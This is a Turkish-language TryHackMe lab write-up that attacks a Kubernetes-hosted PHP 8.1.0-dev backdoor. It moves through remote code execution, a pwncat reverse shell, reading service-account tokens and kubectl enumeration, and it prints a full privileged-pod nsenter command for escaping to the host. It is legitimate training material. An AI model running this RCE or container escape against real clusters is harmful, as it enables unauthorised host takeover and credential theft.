Frank and Herby Try Againn - THM WriteUp

arzuarzu
3 min read

Tryhackme room: https://tryhackme.com/r/room/frankandherbytryagain

Nmap Taraması

Açık port ve servisleri keşfetmek için nmap aracı kullanıyoruz. Tüm portlar da taranabilir ancak burada kubernetes için önemli olabilecek portlar tarandı. İlk tarama basit bir nmap taraması ve sadece 22 port açık olarak görünüyor.

image

İkinci taramada kubernetes için kullanılan varsayılan portlar taranmaktadır.

image

30679 portunda bir PHP uygulamasının çalıştığı görülmektedir.

image

PHP 8.1.0-dev Remote Code Execution

PHP 8.1.0-dev exploit olarak araştırıldığında, exploit-db içerisinde bu versiyon ile ilgili uzaktan kod çalıştırmaya (RCE) yol açan bir zafiyetin exploit kodu yer almaktadır.

image

Bu exploit kodunun olduğu (flast101/php-8.1.0-dev-backdoor-rce)[https://github.com/flast101/php-8.1.0-dev-backdoor-rce] github reposuna bakalım. Burada reverse shell almak için de exploit kodu bulunuyor

Screenshot 2024-07-21 134244

Bir pod içerisinde bulunduğunu env | grep kubernetes komutu ile ortam değişkenlerini kontrol ederek yapabiliriz. Diğer bir tespit metodu ise, /var/run/secrets/kubernetes.io/serviceaccount dizini altında seervis hesabına ait token, sertifika bilgileri gibi kimlik bilgileri yer almakta bu gibi kontroller yapılabilir.

image

image

İçerisinde kubectl komutu bulunmuyor ve varsayılan olarak kullanılan birçok komut yok. netcat ile dinlemek biraz daha kısıtlı bir erişim veriyor bizim için. pwn-cat gibi daha kapsamlı kullanımı olan araçlar tercih edilebilir.

Pwncat kullanarak reverse shell

pwncat kurulumu, python ile sanal bir ortam oluşturup onun içerisinde gerçekleşmektedir. pwncat-cs --listen -p 1337 komutu ile 1337 numaralı portu dinlemeye başlanır. Reverse shell exploit kodu çalışıtırıldıktan sonra bağlantı sağlanıyor. upload kubectl /tmp/kubectl komutunu kullanarak tmp dizini altına kubectl aracı yükleniyor.

image

help komutu ile diğer komutların daha detaylı kullanımı incelenebilir. back komutu çalıştırılarak hedef üzerindeki oturuma geri dönülür

image

Kubernetes Enumeration

/tmp dizini altına gelip kubectl aracına çalıştırma izni verip kullanılabilir. kubectl get pod ile çalışan podlar görüntülenir. --all-namespaces parametresi tüm podları listelemektedir.

image

kubectl cluster-info dump komutu ile kubernetes kümesi hakkında detaylı bilgilere ulaşılabilir.

image

kubernetes ortamı için Microk8s dağıtımının 1.23.4 versiyonunun kullanıldığı görülmektedir. Burada ben manuel olarak kubernetes cluster hakkında bilgi toplamaya çalıştım. kubectl auth can-i komutu içinde bulunan kubernetes bağlamında izin verilen işlemleri listeler. Burada tüm kaynaklar için tüm işlemler yetkilendirilmektedir. Yüksek yetkilerin verilmesi güvenlik zafiyetlerine neden olmaktadır.

image

Yetki Yükseltme

Pod Escape To Host

./kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true,"containers":[{"name":"1","image":"vulhub/php:8.1-backdoor","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

image

image

Yukarıdaki komut ile hosta erişim sağlanıyor. Burada önemli bir nokta sistemde olmayan bir image pull edilemiyor ImagePullBackOff hatası veriyor pod oluştururken. Bu yüzden çalışan php-deploy podunun image kullanılması gerekiyor. kubectl get pod php-deploy-6d998f68b9-wlslz -o yaml komutu ile pod yaml formatında görüntülenebiliyor.

image

Oluşturulmuş pod, oluşumunda hangi image kullanılmış ise host makineye erişim için oluşturulan pod içinde de o image kullanılması gerekiyor.

image

Benzer şekilde yaml dosyası ile de pod oluşturulabilir.

image

yaml dosyası upload escape-pod.yaml komutu ile karşı tarafa gönderilebilir. Local oturuma gelmek için Ctrl+D kısayol tuşları kullanılır. Tekrar uzaktaki oturuma geçmek için back komutu çalıştırılır

image

Sonraki adımda kubectl apply -f escape-pod.yaml komutu ile pod oluşturulur.

image

kubectl exec -it escape-to-host -- /bin/bash komutu ile pod içerisine erişilir.

image

Oluşan pod ayrıcalıklı (privileged) modda oluşturulur ve host processlerine erişimin olması için hostPID değeri true olarak set edilir. İçerisinde çalıştırılan nsenter komutu ile host mount namespace (ad alanı) erişimi sağlar.

Ek olarak bu teknik MITRE ATT&CK matrisinde Yetki Yükseltme (Privilege Escalation) taktik kategorisinde T1611 - Escape to Host tekniği olarak belirtilmektedir.

Kaynaklar

0
Subscribe to my newsletter

Read articles from arzu directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

arzu
arzu